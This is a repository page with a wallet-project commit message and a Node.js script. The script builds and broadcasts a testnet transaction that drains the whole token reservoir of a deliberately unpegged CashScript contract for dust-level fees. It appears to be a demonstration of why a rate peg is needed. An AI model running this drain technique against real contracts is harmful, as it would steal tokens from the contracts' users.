Snapshot of accumulated work-in-progress on top of the baseline commit. This session — retire Tier B from the wallet shell (single-tier model, glossary "Tiers & trust"): - SendFlow.tsx: BCH-only; removed the non-functional Tier-B send path, the D-4/D-5 raw-BCH co-display, and the ADR-0013 friction ladder. - ArtemisionScreen.tsx: Create wizard collapsed to a single 5-step on-chain genesis flow; tier-selection step + Tier-B branch (prepareTierBImport) deleted. - QuickActions.tsx / SettingsScreen.tsx: receive note reworded; "Send friction thresholds" + "Tier explainer" rows removed; registry-trust note reworded. - Verified: tsc clean, vitest 74/74, full preview walkthrough, no console errors. Pre-existing uncommitted work also folded in: - USDm -> FIATm family rename/reorg (Parameters/FIATm/, design records) - ~130 chipnet + sim-fiatm scripts (catalytic-converter, hyperinflation backtests) - snapshots 0153-0168; wiki updates (glossary, decisions, index); ADR-0044/0045 - mockups + additional shell screens (Agora, Apps, MainScreen, AssetDetail, ...) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
165 lines
6.7 KiB
JavaScript
165 lines
6.7 KiB
JavaScript
#!/usr/bin/env node
|
|
/**
|
|
* chipnet-attack-drain.mjs — drain the entire reservoir of Token V in
|
|
* one transaction. Demonstrates the cost of a missing rate peg.
|
|
*
|
|
* Attacker = Wallet B. Token V's contract has no rate enforcement on
|
|
* output[1].value. Attacker can therefore claim the entire 10^18 FT
|
|
* supply by paying only the BCH dust minimum (546 sats) plus miner fee.
|
|
*
|
|
* After the attack, Token V's reservoir has 0 FTs and the declaration
|
|
* NFT is preserved at the contract address. No one can ever claim
|
|
* Token V again — consensus enforces FT conservation, and the reservoir
|
|
* is empty.
|
|
*/
|
|
import { readFileSync } from 'node:fs';
|
|
import { join } from 'node:path';
|
|
import { TestNetWallet } from 'mainnet-js';
|
|
import {
|
|
Contract,
|
|
ElectrumNetworkProvider,
|
|
TransactionBuilder,
|
|
SignatureTemplate,
|
|
} from 'cashscript';
|
|
|
|
const ROOT = join(import.meta.dirname, '..');
|
|
const KEYS_B = join(ROOT, '.chipnet-keys-b.json');
|
|
const VULNERABLE_TOKENS_FILE = join(ROOT, 'ChipnetTests', '.chipnet-vulnerable-tokens.json');
|
|
const ARTIFACT_PATH = join(ROOT, 'contracts/dist/DeviantOpenMintFT_NoPeg.json');
|
|
|
|
function hexToBin(hex) {
|
|
if (hex.length % 2 !== 0) throw new Error(`odd hex length: ${hex.length}`);
|
|
const out = new Uint8Array(hex.length / 2);
|
|
for (let i = 0; i < out.length; i++) out[i] = parseInt(hex.slice(i * 2, i * 2 + 2), 16);
|
|
return out;
|
|
}
|
|
function txidToConsensusBytes(txidHex) {
|
|
const display = hexToBin(txidHex);
|
|
const out = new Uint8Array(display.length);
|
|
for (let i = 0; i < display.length; i++) out[i] = display[display.length - 1 - i];
|
|
return out;
|
|
}
|
|
function p2pkhLockingBytecode(pkh) {
|
|
const out = new Uint8Array(25);
|
|
out[0] = 0x76; out[1] = 0xa9; out[2] = 0x14;
|
|
out.set(pkh, 3);
|
|
out[23] = 0x88; out[24] = 0xac;
|
|
return out;
|
|
}
|
|
function divider() { console.log('='.repeat(72)); }
|
|
|
|
async function main() {
|
|
const { wif } = JSON.parse(readFileSync(KEYS_B, 'utf8'));
|
|
const tokensFile = JSON.parse(readFileSync(VULNERABLE_TOKENS_FILE, 'utf8'));
|
|
const artifact = JSON.parse(readFileSync(ARTIFACT_PATH, 'utf8'));
|
|
const tokenV = tokensFile.tokens.find((t) => t.name === 'TokenV');
|
|
if (!tokenV) throw new Error('TokenV not found in .chipnet-vulnerable-tokens.json');
|
|
|
|
const attacker = await TestNetWallet.fromWIF(wif);
|
|
const provider = new ElectrumNetworkProvider('chipnet');
|
|
const sigTemplate = new SignatureTemplate(attacker.privateKey);
|
|
|
|
// Reconstruct the contract using the PUBLIC registry data — exactly
|
|
// the same code path Wallet B used to mint Token A. The attacker has
|
|
// no privileged access; they just read the registry.
|
|
const tokenCategory = txidToConsensusBytes(tokenV.categoryId);
|
|
const founderLockingBytecode = hexToBin(tokenV.founderLockingBytecodeHex);
|
|
const contract = new Contract(
|
|
artifact,
|
|
[tokenCategory, BigInt(tokenV.rateSats), BigInt(tokenV.founderFeeBps), founderLockingBytecode],
|
|
{ provider },
|
|
);
|
|
if (contract.tokenAddress !== tokenV.contractTokenAddress) {
|
|
throw new Error(`Contract address mismatch — params differ from genesis`);
|
|
}
|
|
|
|
// Find the reservoir UTXO.
|
|
const reservoirUtxos = await provider.getUtxos(contract.tokenAddress);
|
|
const reservoir = reservoirUtxos.find(
|
|
(u) => u.token?.nft?.capability === 'minting' && u.token?.category === tokenV.categoryId,
|
|
);
|
|
if (!reservoir) throw new Error('Reservoir not found at contract');
|
|
if (reservoir.token.amount === 0n) {
|
|
console.log('Reservoir is already empty. Token V is already dead.');
|
|
return;
|
|
}
|
|
|
|
// Attacker's BCH input — covers miner fee + dust.
|
|
const attackerUtxos = await provider.getUtxos(attacker.cashaddr);
|
|
const bchUtxos = attackerUtxos.filter((u) => !u.token);
|
|
if (bchUtxos.length === 0) throw new Error('Attacker has no BCH UTXO for fee');
|
|
const feeInput = bchUtxos[0];
|
|
|
|
// Drain the entire reservoir in one tx.
|
|
const DRAIN_AMOUNT = reservoir.token.amount; // 10^18
|
|
const recipientLockingBytecode = p2pkhLockingBytecode(attacker.publicKeyHash);
|
|
// BCH dust minimum for a CashTokens-bearing P2PKH output: ~675 sats
|
|
// (546 standard + ~129 for the token prefix/category/amount varint at
|
|
// 3 sats/byte). Smaller is rejected by the SDK before broadcast.
|
|
// The attack cost is still trivial; 675 vs 546 doesn't change the
|
|
// economic story (the question is "are we paying anything that scales
|
|
// with FT amount?" and the answer is still no — flat dust regardless).
|
|
const lootSats = 675n;
|
|
const reservoirAfter = 0n; // emptied
|
|
const minerFee = 2500n;
|
|
|
|
const inputTotal = BigInt(reservoir.satoshis) + BigInt(feeInput.satoshis);
|
|
const change = inputTotal - 1000n - lootSats - minerFee;
|
|
if (change < 546n) {
|
|
throw new Error(
|
|
`Change ${change} below dust. inputs=${inputTotal} reservoir-out=1000 loot=${lootSats} fee=${minerFee}`,
|
|
);
|
|
}
|
|
|
|
divider();
|
|
console.log('TOKEN V DRAIN ATTACK — exploiting missing rate peg');
|
|
divider();
|
|
console.log(` Target contract: ${contract.tokenAddress}`);
|
|
console.log(` Reservoir before: ${reservoir.token.amount} FTs`);
|
|
console.log(` Claim amount: ${DRAIN_AMOUNT} FTs (entire reservoir)`);
|
|
console.log(` Equivalent pegged: ${DRAIN_AMOUNT * BigInt(tokenV.rateSats)} sats backing required (would be impossible)`);
|
|
console.log(` Actual BCH paid: ${lootSats} sats dust + ${minerFee} sats fee = ${lootSats + minerFee} sats`);
|
|
console.log(` Attacker (Wallet B): ${attacker.cashaddr}`);
|
|
console.log(` BCH input UTXO: ${feeInput.txid.slice(0,16)}:${feeInput.vout} (${feeInput.satoshis} sat)`);
|
|
console.log(` Loot UTXO size: ${lootSats} sats, ${DRAIN_AMOUNT} FTs`);
|
|
console.log(` Change to attacker: ${change} sats`);
|
|
divider();
|
|
|
|
const tb = new TransactionBuilder({ provider });
|
|
tb.addInput(reservoir, contract.unlock.claim(DRAIN_AMOUNT, recipientLockingBytecode));
|
|
tb.addInput(feeInput, sigTemplate.unlockP2PKH());
|
|
|
|
// Output 0: emptied reservoir back to contract (NFT preserved, 0 FTs).
|
|
tb.addOutput({
|
|
to: contract.tokenAddress,
|
|
amount: 1000n,
|
|
token: {
|
|
amount: reservoirAfter,
|
|
category: tokenV.categoryId,
|
|
nft: { capability: 'minting', commitment: '' },
|
|
},
|
|
});
|
|
|
|
// Output 1: the LOOT — entire FT supply in a dust-sized UTXO.
|
|
tb.addOutput({
|
|
to: attacker.tokenaddr,
|
|
amount: lootSats,
|
|
token: { amount: DRAIN_AMOUNT, category: tokenV.categoryId },
|
|
});
|
|
|
|
// Output 2: BCH change.
|
|
tb.addOutput({ to: attacker.cashaddr, amount: change });
|
|
|
|
const sent = await tb.send();
|
|
const txid = typeof sent === 'string' ? sent : sent?.txid ?? sent?.txId;
|
|
console.log('');
|
|
console.log(`*** DRAIN ATTACK TXID: ${txid} ***`);
|
|
divider();
|
|
console.log('Verify: reservoir should now hold 0 FTs. Token V is dead.');
|
|
}
|
|
|
|
main().catch((err) => {
|
|
console.error('FAILED:', err?.message ?? err);
|
|
if (err?.stack) console.error(err.stack);
|
|
process.exit(1);
|
|
});
|